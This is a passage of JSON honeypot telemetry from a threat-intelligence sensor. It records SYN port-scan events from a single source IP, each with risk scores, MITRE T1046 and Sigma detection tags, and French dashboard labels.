\u0022net_port_scan_slow\u0022]","anomalies":"[]","severity":10,"bytes_in":623},{"id":7106893,"ip":"185.244.155.23","ts":"2026-10-23 11:47:09.000000","proto":"tcp","src_port":21382,"dst_port":20627,"service":null,"classification":"port_scan_syn","waf_score":null,"waf_tags":null,"http_method":null,"http_target":null,"sensor_id":"paris-1","meta":"{\u0022bytes_in\u0022: 0, \u0022payload_entropy\u0022: 0.0, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: null, \u0022app_proto\u0022: null, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20627, \u0022risk_waf\u0022: 8.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 8.0, \u0022risk_novelty\u0022: 0.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 2.3, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0}, \u0022risk_score\u0022: 42, \u0022tag_count\u0022: 1, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002251880d8028f459d251674a199e8459f645c53839\u0022, \u0022event_fingerprint\u0022: \u0022c0c52cddc69d657d743fd13a38bfc6d76422b9f4\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 14}, \u0022named_classification_skipped\u0022: false, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022path_pattern_hash\u0022: \u00226a708bf69e8680803ad7dadb39e2e4d9\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20627, \u0022risk_score\u0022: 42}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u002238958659a50d0a0db8b75390bee0eab7bad21928\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 20627}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 port 20627 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u002220627\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 1 signal(aux) capteur\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 14}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 42, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: null, \u0022service_label_fr\u0022: null, \u0022dst_port\u0022: 20627, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +14\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 20627}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 port 20627 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: null, \u0022target_port_label\u0022: \u002220627\u0022, \u0022emulator_service\u0022: null, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 1 signal(aux) capteur\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +14\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022generic\u0022, \u0022service_banner\u0022: \u0022honeypot\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220627\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 5, \u0022port_scan_ports_sample\u0022: [20627, 20634, 20639, 20787, 31832], \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 14, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022net_port_scan_slow\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":null,"http_host":null,"http_user_agent":null,"http_referer":null,"tags":"[\u0022net_port_scan_slow\u0022]","anomalies":"[]","severity":5,"bytes_in":0},{"id":7106825,"ip":"185.244.155.23","ts":"2026-10-23 11:47:00.000000","proto":"tcp","src_port":18599,"dst_port":20639,"service":null,"classification":"port_scan_syn","waf_score":null,"waf_tags":null,"http_method":null,"http_target":null,"sensor_id":"paris-1","meta":"{\u0022bytes_in\u0022: 0, \u0022payload_entropy\u0022: 0.0, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: null, \u0022app_proto\u0022: null, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20639, \u0022risk_waf\u0022: 8.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 8.0, \u0022risk_novelty\u0022: 0.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 4.2, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0}, \u0022risk_score\u0022: 42, \u0022tag_count\u0022: 1, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022d3cc2c6afb5994dadc9b60db464400639d9b3d0c\u0022, \u0022event_fingerprint\u0022: \u00224be7f83fe532a8970d66604abc7f469a0b42150a\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022path_pattern_hash\u0022: \u00226a708bf69e8680803ad7dadb39e2e4d9\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20639, \u0022risk_score\u0022: 42}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00225d6c0cd15df41e0724a1cba4820f4da6cb264016\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 20639}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 port 20639 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u002220639\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 1 signal(aux) capteur\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 42, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: null, \u0022service_label_fr\u0022: null, \u0022dst_port\u0022: 20639, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 20639}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 port 20639 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: null, \u0022target_port_label\u0022: \u002220639\u0022, \u0022emulator_service\u0022: null, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 1 signal(aux) capteur\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +18\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022generic\u0022, \u0022service_banner\u0022: \u0022honeypot\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220639\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 5, \u0022port_scan_ports_sample\u0022: [20627, 20634, 20639, 20787, 31832], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 3, \u0022scan_velocity_ports_per_s\u0022: 4.66, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022net_port_scan_slow\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":null,"http_host":null,"http_user_agent":null,"http_referer":null,"tags":"[\u0022net_port_scan_slow\u0022]","anomalies":"[]","severity":5,"bytes_in":0},{"id":7106822,"ip":"185.244.155.23","ts":"2026-10-23 11:46:59.000000","proto":"tcp","src_port":21654,"dst_port":31832,"service":null,"classification":"port_scan_syn","waf_score":null,"waf_tags":null,"http_method":null,"http_target":null,"sensor_id":"paris-1","meta":"{\u0022bytes_in\u0022: 0, \u0022payload_entropy\u0022: 0.0, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: null, \u0022app_proto\u0022: null, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 31832, \u0022risk_waf\u0022: 8.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 8.0, \u0022risk_novelty\u0022: 0.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 4.5, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0}, \u0022risk_score\u0022: 42, \u0022tag_count\u0022: 1, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00221000423fc10ba8f38a00f78b797fab6701c9d2ca\u0022, \u0022event_fingerprint\u0022: \u0022f7279811279b291b31fa1c054cbc2dbca6876847\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 231, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 14}, \u0022named_classification_skipped\u0022: false, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022path_pattern_hash\u0022: \u00226a708bf69e8680803ad7dadb39e2e4d9\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 31832, \u0022risk_score\u0022: 42}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00220e03781924c3190d29971d8fe41b0062ec0ed0d8\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 31832}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 port 31832 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u002231832\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 1 signal(aux) capteur\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 8.0, \u0022novelty\u0022: 0.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 14}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 42, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: null, \u0022service_label_fr\u0022: null, \u0022dst_port\u0022: 31832, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +14\u0022, \u0022protocol_details\u0022: {\u0022port\u0022: 31832}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 port 31832 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: null, \u0022target_port_label\u0022: \u002231832\u0022, \u0022emulator_service\u0022: null, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 1 signal(aux) capteur\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +14\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022generic\u0022, \u0022service_banner\u0022: \u0022honeypot\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002231832\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 4, \u0022port_scan_ports_sample\u0022: [20627, 20634, 20787, 31832], \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 14, 